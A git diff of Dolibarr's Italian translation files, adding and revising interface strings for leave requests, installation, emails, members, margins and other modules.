InvalidValidatorCP=Devi scegliere l'approvatore per la tua richiesta di congedo. +InvalidValidator=L'utente scelto non è un approvatore. NoDateDebut=Bisogna selezionare una data di inizio. NoDateFin=Bisogna selezionare una data di fine. ErrorDureeCP=La tua richiesta di ferie non comprende giorni lavorativi. @@ -79,6 +82,8 @@ MotifCP=Motivo UserCP=Utente ErrorAddEventToUserCP=Si è verificato un errore nell'assegnazione del permesso straordinario. AddEventToUserOkCP=Permesso straordinario assegnato correttamente. +ErrorFieldRequiredUserOrGroup=È necessario compilare il campo "gruppo" o il campo "utente". +fusionGroupsUsers=Il campo gruppi e il campo utente verranno uniti MenuLogCP=Elenco delle modifiche LogCP=Registro di tutti gli aggiornamenti effettuati su "Saldo delle ferie" ActionByCP=Aggiornato da @@ -86,6 +91,13 @@ UserUpdateCP=Aggiornato per PrevSoldeCP=Saldo precedente NewSoldeCP=Nuovo saldo alreadyCPexist=C'è già una richiesta per lo stesso periodo. +UseralreadyCPexist=È già stata effettuata una richiesta di congedo in questo periodo per %s. +groups=Groups +users=Utenti +AutoSendMail=Invio automatico email +NewHolidayForGroup=Nuova richiesta di congedo collettivo +SendRequestCollectiveCP=Invia richiesta di congedo collettivo +AutoValidationOnCreate=Convalida automatica FirstDayOfHoliday=Inizio giorno di richiesta ferie LastDayOfHoliday=Richiesta di fine giornata di ferie BoxTitleLastLeaveRequests=Ultime %s richieste di assenza modificate @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s è solitamente un giorno NON lavorativo BlockHolidayIfNegative=Blocca se saldo negativo LeaveRequestCreationBlockedBecauseBalanceIsNegative=La creazione di questa richiesta di ferie è bloccata perché il tuo saldo è negativo ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=La richiesta di uscita %s deve essere bozza, annullata o rifiutata per essere eliminata +IncreaseHolidays=Aumenta festività +HolidayRecordsIncreased= %s record vacanze aumentati +HolidayRecordIncreased=Il record vacanze è aumentato +ConfirmMassIncreaseHoliday=Aumento delle vacanze in blocco +NumberDayAddMass=Numero di giorni da aggiungere alla selezione +ConfirmMassIncreaseHolidayQuestion=Sei sicuro di voler aumentare le ferie dei record selezionati %s? +HolidayQtyNotModified=Il saldo dei giorni rimanenti per %s non è stato modificato diff --git a/htdocs/langs/it_IT/install.lang b/htdocs/langs/it_IT/install.lang index 8fbb9eca9cb..026603e789d 100644 --- a/htdocs/langs/it_IT/install.lang +++ b/htdocs/langs/it_IT/install.lang @@ -28,6 +28,7 @@ ErrorPHPVersionTooLow=Versione PHP troppo vecchia. È richiesta la versione %s o ErrorPHPVersionTooHigh=Versione PHP troppo alta. È richiesta la versione %s o precedente. ErrorConnectedButDatabaseNotFound=Connection to server successful but database '%s' not found. ErrorDatabaseAlreadyExists=Il database %s esiste già. +ErrorNoMigrationFilesFoundForParameters=Nessun file di migrazione trovato per le versioni selezionate IfDatabaseNotExistsGoBackAndUncheckCreate=If the database does not exist, go back and check option "Create database". IfDatabaseExistsGoBackAndCheckCreate=Se il database esiste già, torna indietro e deseleziona l'opzione "Crea database". WarningBrowserTooOld=Version of browser is too old. Upgrading your browser to a recent version of Firefox, Chrome or Opera is highly recommended. @@ -48,9 +49,8 @@ ServerPortDescription=Porta. Lasciare vuoto se sconosciuta. DatabaseServer=Database server DatabaseName=Nome del database DatabasePrefix=Database table prefix -DatabasePrefixDescription=Database table prefix. If empty, defaults to llx_. +DatabasePrefixDescription=Prefisso tabelle database. Se vuoto, il default è llx_. AdminLogin=User account for the Dolibarr database owner. -PasswordAgain=Retype password confirmation AdminPassword=Password per amministratore del database. Da lasciare vuoto se ci si collega in forma anonima CreateDatabase=Crea database CreateUser=Create user account or grant user account permission on the Dolibarr database @@ -88,7 +88,7 @@ LoginAlreadyExists=Esiste già DolibarrAdminLogin=Login dell'amministratore di Dolibarr AdminLoginAlreadyExists=Dolibarr administrator account '%s' already exists. Go back if you want to create another one. FailedToCreateAdminLogin=Impossibile creare l'account amministratore di Dolibarr. -WarningRemoveInstallDir=Warning, for security reasons, once the install or upgrade is complete, you should add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Not available in this PHP ChoosedMigrateScript=Scegli script di migrazione DataMigration=Database migration (data) @@ -208,7 +208,12 @@ HideNotAvailableOptions=Nascondi opzioni non disponibili ErrorFoundDuringMigration=Error(s) were reported during the migration process so next step is not available. To ignore errors, you can click here, but the application or some features may not work correctly until the errors are resolved. YouTryInstallDisabledByDirLock=The application tried to self-upgrade, but the install/upgrade pages have been disabled for security (directory renamed with .lock suffix).
      YouTryInstallDisabledByFileLock=The application tried to self-upgrade, but the install/upgrade pages have been disabled for security (by the existence of a lock file install.lock in the dolibarr documents directory).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Click here to go to your application ClickOnLinkOrRemoveManualy=Se è in corso un aggiornamento, attendere. In caso contrario, fai clic sul seguente link. Se vedi sempre questa stessa pagina, devi rimuovere / rinominare il file install.lock nella directory dei documenti. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Caricato FunctionTest=Test di funzionalita +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/it_IT/interventions.lang b/htdocs/langs/it_IT/interventions.lang index 4b84ccad5c9..21b79048492 100644 --- a/htdocs/langs/it_IT/interventions.lang +++ b/htdocs/langs/it_IT/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Hides hours and minutes off the date field for int InterventionStatistics=Statistiche degli interventi NbOfinterventions=No. of intervention cards NumberOfInterventionsByMonth=No. of intervention cards by month (date of validation) -AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). Add option PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT to 1 into home-setup-other to include them. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=ID intervento InterRef=Rif. intervento InterDateCreation=Data di creazione intervento @@ -66,3 +66,7 @@ RepeatableIntervention=Modello di intervento ToCreateAPredefinedIntervention=Per creare un intervento predefinito o ricorrente, creare un intervento comune e convertirlo in modello di intervento ConfirmReopenIntervention=Sei sicuro di voler riaprire l'intervento %s ? GenerateInter=Genera intervento +FichinterNoContractLinked=L'intervento %s è stato creato senza un contratto collegato. +ErrorFicheinterCompanyDoesNotExist=L'azienda non esiste. L'intervento non è stato creato. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/it_IT/languages.lang b/htdocs/langs/it_IT/languages.lang index 41a98a54664..cb9fe9806bd 100644 --- a/htdocs/langs/it_IT/languages.lang +++ b/htdocs/langs/it_IT/languages.lang @@ -3,6 +3,7 @@ Language_am_ET=Etiope Language_ar_AR=Arabo Language_ar_DZ=Arabo (Algeria) Language_ar_EG=Arabo (Egitto) +Language_ar_JO=Arabo (Giordania) Language_ar_MA=Arabo (Marocco) Language_ar_SA=Arabo Language_ar_TN=Arabo (Tunisia) @@ -12,16 +13,20 @@ Language_az_AZ=Azero Language_bn_BD=Bengalese Language_bn_IN=Bengalese (India) Language_bg_BG=Bulgaro +Language_bo_CN=tibetano Language_bs_BA=Bosniaco Language_ca_ES=Catalano Language_cs_CZ=Ceco +Language_cy_GB=gallese Language_da_DA=Danese Language_da_DK=Danese Language_de_DE=Tedesco Language_de_AT=Tedesco (Austria) Language_de_CH=Tedesco (Svizzera) +Language_de_LU=German (Luxembourg) Language_el_GR=Greco Language_el_CY=Greco (Cipro) +Language_en_AE=Inglese (Emirati Arabi Uniti) Language_en_AU=Inglese (Australia) Language_en_CA=Inglese (Canada) Language_en_GB=English (Gran Bretagna) @@ -31,11 +36,13 @@ Language_en_SA=Inglese (Arabia Saudita) Language_en_SG=Inglese (Singapore) Language_en_US=Inglese (Stati Uniti) Language_en_ZA=Inglese (Sud Africa) +Language_en_ZW=English (Zimbabwe) Language_es_ES=Spagnolo Language_es_AR=Spagnolo (Argentina) Language_es_BO=Spagnolo (Bolivia) Language_es_CL=Spagnolo (Cile) Language_es_CO=Spagnolo (Colombia) +Language_es_CR=spagnolo (Costarica) Language_es_DO=Spagnolo ( Repubblica Dominicana) Language_es_EC=Spagnolo (Ecuador) Language_es_GT=Spagnolo (Guatemala) @@ -83,18 +90,21 @@ Language_lt_LT=Lituano Language_lv_LV=Lettone Language_mk_MK=Macedone Language_mn_MN=Mongolo +Language_my_MM=birmano Language_nb_NO=Norvegese (Bokmål) Language_ne_NP=Nepali Language_nl_BE=Olandese (Belgio) Language_nl_NL=Olandese (Paesi Bassi) Language_pl_PL=Polacco Language_pt_AO=Portoghese (Angola) +Language_pt_MZ=Portoghese (Mozambico) Language_pt_BR=Portoghese (Brasile) Language_pt_PT=Portoghese Language_ro_MD=Rumeno (Moldavia) Language_ro_RO=Rumeno Language_ru_RU=Russo Language_ru_UA=Russo (Ucraina) +Language_ta_IN=tamil Language_tg_TJ=tagiko Language_tr_TR=Turco Language_sl_SI=Sloveno @@ -103,9 +113,11 @@ Language_sv_SE=Svedese Language_sq_AL=Albanese Language_sk_SK=Slovacco Language_sr_RS=Serbo +Language_sw_KE=Swahili Language_sw_SW=Kiswahili Language_th_TH=Thai Language_uk_UA=Ucraino +Language_ur_PK=Urdu Language_uz_UZ=Uzbeko Language_vi_VN=Vietnamita Language_zh_CN=Cinese diff --git a/htdocs/langs/it_IT/loan.lang b/htdocs/langs/it_IT/loan.lang index 76d1d5e1637..aba14cfcdfa 100644 --- a/htdocs/langs/it_IT/loan.lang +++ b/htdocs/langs/it_IT/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with CantModifyInterestIfScheduleIsUsed = Non è possibile modificare l'interesse se si utilizza la pianificazione # Admin ConfigLoan=Configurazione del modulo prestiti -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Accounting account capital by default -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Accounting account interest by default -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Accounting account insurance by default +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Edit financial commitment diff --git a/htdocs/langs/it_IT/mailmanspip.lang b/htdocs/langs/it_IT/mailmanspip.lang index 4de2bbf89d0..594cf2dfb52 100644 --- a/htdocs/langs/it_IT/mailmanspip.lang +++ b/htdocs/langs/it_IT/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Test di iscrizione eseguito con successo MailmanDeletionSuccess=Test di disiscrizione eseguito con successo SynchroMailManEnabled=mailman verrà aggiornato SynchroSpipEnabled=SPIP verrà aggiornato -DescADHERENT_MAILMAN_ADMINPW=Password di amministrazione di Mailman +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Password di amministrazione di Mailman DescADHERENT_MAILMAN_URL=URL per l'iscrizione a Mailman DescADHERENT_MAILMAN_UNSUB_URL=URL per la disiscrizione da Mailman DescADHERENT_MAILMAN_LISTS=Lista(e) a cui iscrivere automaticamente i nuovi membri (separate da virgola) diff --git a/htdocs/langs/it_IT/mails.lang b/htdocs/langs/it_IT/mails.lang index 5074f48e307..460c49b4b4d 100644 --- a/htdocs/langs/it_IT/mails.lang +++ b/htdocs/langs/it_IT/mails.lang @@ -7,10 +7,10 @@ MailCard=Scheda email MailRecipients=Destinatari MailRecipient=Destinatario MailTitle=Titolo -MailFrom=Mittente +MailFrom=Da MailErrorsTo=Errors to MailReply=Rispondi a -MailTo=Destinatario(i) +MailTo=a MailToUsers=To user(s) MailCC=Copia carbone (CC) MailToCCUsers=In copia gli utenti @@ -53,7 +53,7 @@ NbOfUniqueEMails=No. of unique emails NbOfEMails=Numero di email TotalNbOfDistinctRecipients=Numero di singoli destinatari NoTargetYet=Nessun destinatario ancora definito (Vai alla scheda 'destinatari') -NoRecipientEmail=No recipient email for %s +NoRecipientEmail=Nessuna email destinataria per %s RemoveRecipient=Rimuovi destinatario YouCanAddYourOwnPredefindedListHere=Per creare le liste di email predefinite leggi htdocs/core/modules/mail/README. EMailTestSubstitutionReplacedByGenericValues=Quando si utilizza la modalità di prova le variabili vengono sostituite con valori generici @@ -73,15 +73,15 @@ ActivateCheckReadKey=Chiave utilizzata per crittografare l'URL utilizzato per la EMailSentToNRecipients=Email sent to %s recipients. EMailSentForNElements=Email sent for %s elements. XTargetsAdded=%s destinatari aggiunti alla lista di invio -OnlyPDFattachmentSupported=If the PDF documents were already generated for the objects to send, they will be attached to email. If not, no email will be sent (also, note that only pdf documents are supported as attachments in mass sending in this version). -AllRecipientSelected=The recipients of the %s record selected (if their email is known). -GroupEmails=Group emails +OnlyPDFattachmentSupported=Se i documenti PDF sono già stata generati per gli oggetti da spedire verranno allegati all'email. Altrimenti, l'email non verrà inviata. (solo i documenti PDF sono supportati come allegato all'email in questa versione). +AllRecipientSelected=I destinatari dei %s record selezionati (se le loro email sono corrette). +GroupEmails=Raggruppa emails OneEmailPerRecipient=Una e-mail per destinatario (per impostazione predefinita, una e-mail per record selezionato) -WarningIfYouCheckOneRecipientPerEmail=Warning, if you check this box, it means only one email will be sent for several different record selected, so, if your message contains substitution variables that refers to data of a record, it becomes not possible to replace them. -ResultOfMailSending=Result of mass Email sending -NbSelected=Number selected -NbIgnored=Number ignored -NbSent=Number sent +WarningIfYouCheckOneRecipientPerEmail=Attenzione, se selezioni questi checkbox, verrà inviata una sola email per vari records selezionati dello stesso soggetto terzo, così se il tuo testo contiene parole chiave da sostituire diventerà impossibile la sostituzione puntuale. +ResultOfMailSending=Risultato dell'invio massivo email +NbSelected=Numero selezionate +NbIgnored=Numero ignorate +NbSent=Numero inviate SentXXXmessages=%s message(s) sent. ConfirmUnvalidateEmailing=Are you sure you want to change email %s to draft status? MailingModuleDescContactsWithThirdpartyFilter=Contact with customer filters @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Soggetti terzi (per categoria) +MailingModuleDescThirdPartiesByCategories=Third parties SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=Tutti i filtri devono corrispondere affinché venga raccolta un'e-mail @@ -179,3 +179,4 @@ RecordCreatedByEmailCollector=Record creato da Email Collector %s dall'email %s DefaultBlacklistMailingStatus=Valore predefinito per il campo '%s' durante la creazione di un nuovo contatto DefaultStatusEmptyMandatory=Vuoto ma obbligatorio WarningLimitSendByDay=ATTENZIONE: la configurazione o il contratto della tua istanza limita il numero di email al giorno a %s . Il tentativo di inviarne di più potrebbe comportare un rallentamento o la sospensione dell'istanza. Contatta il tuo supporto se hai bisogno di una quota più alta. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/it_IT/main.lang b/htdocs/langs/it_IT/main.lang index 39b2f954cf4..817423e1bfa 100644 --- a/htdocs/langs/it_IT/main.lang +++ b/htdocs/langs/it_IT/main.lang @@ -34,6 +34,7 @@ NoTemplateDefined=Nessun tema disponibile per questo tipo di email AvailableVariables=Variabili di sostituzione disponibili NoTranslation=Nessuna traduzione Translation=Traduzioni +Translations=Traduzioni CurrentTimeZone=Fuso orario attuale EmptySearchString=Inserisci criteri di ricerca non vuoti EnterADateCriteria=Immettere un criterio di data @@ -205,6 +206,7 @@ Valid=Convalida Approve=Approva Disapprove=Riporta in Bozza ReOpen=Riapri +OpenVerb=Open Upload=Upload ToLink=Link Select=Seleziona @@ -222,8 +224,9 @@ UserGroup=Gruppo di utenti UserGroups=Gruppi di utenti NoUserGroupDefined=Gruppo non definito Password=Password -PasswordRetype=Ridigita la password +PasswordRetype=Ripeti la tua password NoteSomeFeaturesAreDisabled=Nota bene: In questo demo alcune funzionalità e alcuni moduli sono disabilitati. +YourUserFile=Your user file Name=Nome NameSlashCompany=Nome / Società Person=Persona @@ -443,7 +446,7 @@ VATRate=Aliquota IVA RateOfTaxN=Aliquota fiscale %s VATCode=Codice aliquota VATNPR=Aliquota NPR -DefaultTaxRate=Valore base tassa +DefaultTaxRate=Valore base IVA Average=Media Sum=Somma Delta=Delta @@ -482,11 +485,12 @@ Accountant=Contabile ContactsForCompany=Contatti per il soggetto terzo ContactsAddressesForCompany=Contatti/indirizzi per questo soggetto terzo AddressesForCompany=Indirizzi per questo soggetto terzo -ActionsOnCompany=Events for this third party +ActionsOnCompany=Eventi legati al soggetto terzo ActionsOnContact=Events for this contact/address ActionsOnContract=Eventi per questo contratto ActionsOnMember=Azioni su questo membro ActionsOnProduct=Eventi su questo prodotto +ActionsOnAsset=Events for this fixed asset NActionsLate=%s azioni in ritardo ToDo=Da fare Completed=Completato @@ -626,7 +630,7 @@ MonthVeryShort10=O MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=File e documenti allegati -JoinMainDoc=Iscriviti al documento principale +JoinMainDoc=Allega il documento principale JoinMainDocOrLastGenerated=Invia il documento principale o l'ultimo generato se non trovato DateFormatYYYYMM=AAAA-MM DateFormatYYYYMMDD=AAAA-MM-GG @@ -708,7 +712,7 @@ CanBeModifiedIfOk=Può essere modificato se valido CanBeModifiedIfKo=Può essere modificato se non valido ValueIsValid=Il valore è valido ValueIsNotValid=Il valore non è valido -RecordCreatedSuccessfully=Record creato con success0 +RecordCreatedSuccessfully=Record creato con successo RecordModifiedSuccessfully=Record modificati con successo RecordsModified=%s record(s) modificato/i RecordsDeleted=%s record(s) eliminato/i @@ -808,6 +812,7 @@ URLPhoto=URL foto/logo SetLinkToAnotherThirdParty=Collega ad altro soggetto terzo LinkTo=Collega a... LinkToProposal=Collega a proposta +LinkToExpedition= Link alla spedizione LinkToOrder=Collega a ordine LinkToInvoice=Collega a fattura attiva LinkToTemplateInvoice=Collega ad un modello di fattura @@ -893,6 +898,9 @@ MassFilesArea=File creati da azioni di massa ShowTempMassFilesArea=Mostra i file creati da azioni di massa ConfirmMassDeletion=Conferma eliminazione massiva ConfirmMassDeletionQuestion=Vuoi davvero eliminare %s record selezionati? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Oggetti correlati ClassifyBilled=Classificare fatturata ClassifyUnbilled=Classifica non pagata @@ -908,8 +916,8 @@ ExportFilteredList=Esporta lista filtrata ExportList=Esporta lista ExportOptions=Opzioni di esportazione IncludeDocsAlreadyExported=Includi documenti già esportati -ExportOfPiecesAlreadyExportedIsEnable=Export of pieces already exported is enable -ExportOfPiecesAlreadyExportedIsDisable=Export of pieces already exported is disable +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=All exported movements were recorded as exported NotAllExportedMovementsCouldBeRecordedAsExported=Not all exported movements could be recorded as exported Miscellaneous=Varie @@ -926,6 +934,7 @@ DirectDownloadInternalLink=Link per il download privato PrivateDownloadLinkDesc=Devi essere registrato e hai bisogno delle autorizzazioni per visualizzare o scaricare il file Download=Download DownloadDocument=Scarica documento +DownloadSignedDocument=Scarica documento firmato ActualizeCurrency=Aggiorna tasso di cambio Fiscalyear=Anno fiscale ModuleBuilder=Generatore di moduli/applicazioni @@ -1051,6 +1060,7 @@ SearchIntoContracts=Contratti SearchIntoCustomerShipments=Spedizioni cliente SearchIntoExpenseReports=Nota spese SearchIntoLeaves=Ferie / Permessi +SearchIntoKM=Knowledge base SearchIntoTickets=Ticket SearchIntoCustomerPayments=Pagamenti dei clienti SearchIntoVendorPayments=Pagamenti fornitori @@ -1075,7 +1085,7 @@ Deletedraft=Elimina bozza ConfirmMassDraftDeletion=Draft mass delete confirmation FileSharedViaALink=File condiviso con un collegamento pubblico SelectAThirdPartyFirst=Seleziona prima un Soggetto terzo... -YouAreCurrentlyInSandboxMode=You are currently in the %s "sandbox" mode +YouAreCurrentlyInSandboxMode=Sei attualmente nella modalità "sandbox" di %s Inventory=Inventario AnalyticCode=Analytic code TMenuMRP=MRP @@ -1122,6 +1132,7 @@ DeleteFileText=Vuoi davvero eliminare questo file? ShowOtherLanguages=Mostra altre lingue SwitchInEditModeToAddTranslation=Passa alla modalità di modifica per aggiungere traduzioni per questa lingua NotUsedForThisCustomer=Non utilizzato per questo cliente +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=L'importo deve essere positivo ByStatus=Per stato InformationMessage=Informazioni @@ -1142,15 +1153,29 @@ EventReminder=Promemoria evento UpdateForAllLines=Aggiornamento per tutte le linee OnHold=In attesa Civility=Civiltà -AffectTag=Influenza tag +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Crea utente esterno -ConfirmAffectTag=Influenza tag in blocco -ConfirmAffectTagQuestion=Sei sicuro di voler modificare i tag per i record %s selezionati? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Set supervisore in maniera massiva +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Sei sicuro di voler impostare il supervisore sui record selezionati %s? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=Nessun tipo di tag trovato per il tipo di record +Rate=Tariffa +SupervisorNotFound=Supervisore non trovato CopiedToClipboard=Copiato negli appunti InformationOnLinkToContract=Questo importo è solo il totale di tutte le linee del contratto. Nessuna nozione di tempo viene presa in considerazione. ConfirmCancel=Sei sicuro di voler annullare EmailMsgID=E-mail MsgID +EmailDate=Data e-mail +SetToStatus=Set to status %s SetToEnabled=Impostare su abilitato SetToDisabled=Impostare su disabilitato ConfirmMassEnabling=conferma di abilitazione di massa @@ -1179,11 +1204,21 @@ Terminated=Terminated AddLineOnPosition=Aggiungi riga sulla posizione (alla fine se vuota) ConfirmAllocateCommercial=Assegna la conferma del rappresentante di vendita ConfirmAllocateCommercialQuestion=Sei sicuro di voler assegnare i record selezionati %s? -CommercialsAffected=Rappresentanti di vendita interessati -CommercialAffected=Rappresentante di vendita interessato +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Il tuo messaggio YourMessageHasBeenReceived=Il tuo messaggio è stato ricevuto. Ti risponderemo o ti contatteremo al più presto. UrlToCheck=URL da controllare Automation=Automazione -CreatedByEmailCollector=Created by Email collector -CreatedByPublicPortal=Created from Public portal +CreatedByEmailCollector=Creato dal raccoglitore di posta elettronica +CreatedByPublicPortal=Creato dal portale pubblico +UserAgent=User Agent +InternalUser=Utente interno +ExternalUser=Utente esterno +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/it_IT/margins.lang b/htdocs/langs/it_IT/margins.lang index a6f0f4c3ab1..2b3009f8062 100644 --- a/htdocs/langs/it_IT/margins.lang +++ b/htdocs/langs/it_IT/margins.lang @@ -29,9 +29,9 @@ UseDiscountAsService=Come servizio UseDiscountOnTotal=Sul subtotale MARGIN_METHODE_FOR_DISCOUNT_DETAILS=Definisce se, ai fini del calcolo del margine, uno sconto globale debba essere trattato come un prodotto, un servizio o usato solo sul subtotale. MARGIN_TYPE=Prezzo di acquisto / costo suggerito per impostazione predefinita per il calcolo del margine -MargeType1=Margin on Best vendor price -MargeType2=Margin on Weighted Average Price (WAP) -MargeType3=Margin on Cost Price +MargeType1=Margine sul miglior prezzo fornitore +MargeType2=Margine sul prezzo meglio ponderato (WAP) +MargeType3=Margine sul prezzo di costo MarginTypeDesc=* Margin on best buying price = Selling price - Best vendor price defined on product card
      * Margin on Weighted Average Price (WAP) = Selling price - Product Weighted Average Price (WAP) or best supplier price if WAP not yet defined
      * Margin on Cost price = Selling price - Cost price defined on product card or WAP if cost price not defined, or best supplier price if WAP not yet defined CostPrice=Prezzo di costo UnitCharges=Carico unitario diff --git a/htdocs/langs/it_IT/members.lang b/htdocs/langs/it_IT/members.lang index 3b74c46b7c1..0450d53adb2 100644 --- a/htdocs/langs/it_IT/members.lang +++ b/htdocs/langs/it_IT/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Un altro membro (nome: %s, log ErrorUserPermissionAllowsToLinksToItselfOnly=Per motivi di sicurezza, è necessario possedere permessi di modifica di tutti gli utenti per poter modificare un membro diverso da sé stessi. SetLinkToUser=Link a un utente Dolibarr SetLinkToThirdParty=Link ad un soggetto terzo +MemberCountersArePublic=I contatori dei membri validi sono pubblici MembersCards=Generazione di tessere per i membri MembersList=Elenco dei membri MembersListToValid=Elenco dei membri del progetto (da convalidare) @@ -22,7 +23,7 @@ MembersListValid=Elenco dei membri validi MembersListUpToDate=Elenco dei membri validi con contributo aggiornato MembersListNotUpToDate=Elenco dei membri validi con contributo scaduto MembersListExcluded=Elenco dei membri esclusi -MembersListResiliated=List of terminated members +MembersListResiliated=Elenco dei membri cessati MembersListQualified=Elenco dei membri qualificati MenuMembersToValidate=Membri da convalidare MenuMembersValidated=Membri convalidati @@ -34,14 +35,15 @@ DateSubscription=Data di adesione DateEndSubscription=Data di fine adesione EndSubscription=Fine adesione SubscriptionId=ID contributo -WithoutSubscription=Senza contributo +WithoutSubscription=Senza iscrizione +WaitingSubscription=Iscrizione in sospeso MemberId=ID membro -MemberRef=Membro Rif +MemberRef=Rif Membro NewMember=Nuovo membro MemberType=Tipo membro MemberTypeId=Id membro MemberTypeLabel=Etichetta tipo membro -MembersTypes=Tipi di membro +MembersTypes=Tipi di membri MemberStatusDraft=Bozza (deve essere convalidata) MemberStatusDraftShort=Bozza MemberStatusActive=Convalidato (in attesa di contributo) @@ -52,35 +54,41 @@ MemberStatusPaid=Adesione aggiornata MemberStatusPaidShort=Aggiornata MemberStatusExcluded=Membro escluso MemberStatusExcludedShort=Escluso -MemberStatusResiliated=Terminated member -MemberStatusResiliatedShort=Terminated +MemberStatusResiliated=Membro cessato +MemberStatusResiliatedShort=Cessato MembersStatusToValid=Membri da convalidare MembersStatusExcluded=Membri esclusi -MembersStatusResiliated=Terminated members +MembersStatusResiliated=Membri cessati MemberStatusNoSubscription=Convalidato (nessun contributo richiesto) -MemberStatusNoSubscriptionShort=convalidato +MemberStatusNoSubscriptionShort=Convalidato SubscriptionNotNeeded=Nessun contributo richiesto NewCotisation=Nuovo contributo PaymentSubscription=Nuovo contributo di pagamento SubscriptionEndDate=Termine ultimo per l'adesione MembersTypeSetup=Impostazioni tipi di membri -MemberTypeModified=Member type modified -DeleteAMemberType=Delete a member type -ConfirmDeleteMemberType=Are you sure you want to delete this member type? -MemberTypeDeleted=Member type deleted -MemberTypeCanNotBeDeleted=Member type can not be deleted +MemberTypeModified=Tipo membro modificato +DeleteAMemberType=Cancella un tipo di membro +ConfirmDeleteMemberType=Sei sicuro di voler cancellare questo tipo di membro? +MemberTypeDeleted=Tipo membro cancellato +MemberTypeCanNotBeDeleted=Il tipo di membro non può essere cancellato NewSubscription=Nuovo contributo -NewSubscriptionDesc=Questo modulo consente di registrare l'adesione di un nuovo membro alla fondazione. Per rinnovare l'adesione (se già iscritto), si prega di contattare la fondazione per email. +NewSubscriptionDesc=Questo modulo consente di registrare l'adesione di un nuovo membro alla fondazione. Per rinnovare l'adesione (se già iscritto), si prega di contattare la fondazione per email %s. Subscription=Contributo +AnyAmountWithAdvisedAmount=Qualsiasi importo a tua scelta, consigliato %s +AnyAmountWithoutAdvisedAmount=Qualsiasi importo a tua scelta +CanEditAmountShort=Qualsiasi importo +CanEditAmountShortForValues=consigliato, qualsiasi importo +MembershipDuration=Durata +GetMembershipButtonLabel=Partecipa Subscriptions=Contributi SubscriptionLate=Ritardi SubscriptionNotReceived=Contributo mai ricevuto ListOfSubscriptions=Elenco dei contributi -SendCardByMail=Send card by email +SendCardByMail=Invia tessera per email AddMember=Crea membro -NoTypeDefinedGoToSetup=Nessun tipo di membro definito. Vai su impostazioni - Tipi di membro +NoTypeDefinedGoToSetup=Nessun tipo di membro definito. Vai su menu "Tipi di membri" NewMemberType=Nuovo tipo di membro -WelcomeEMail=Welcome email +WelcomeEMail=Email di benvenuto SubscriptionRequired=Contributo richiesto DeleteType=Elimina VoteAllowed=E' permesso il voto @@ -91,25 +99,25 @@ 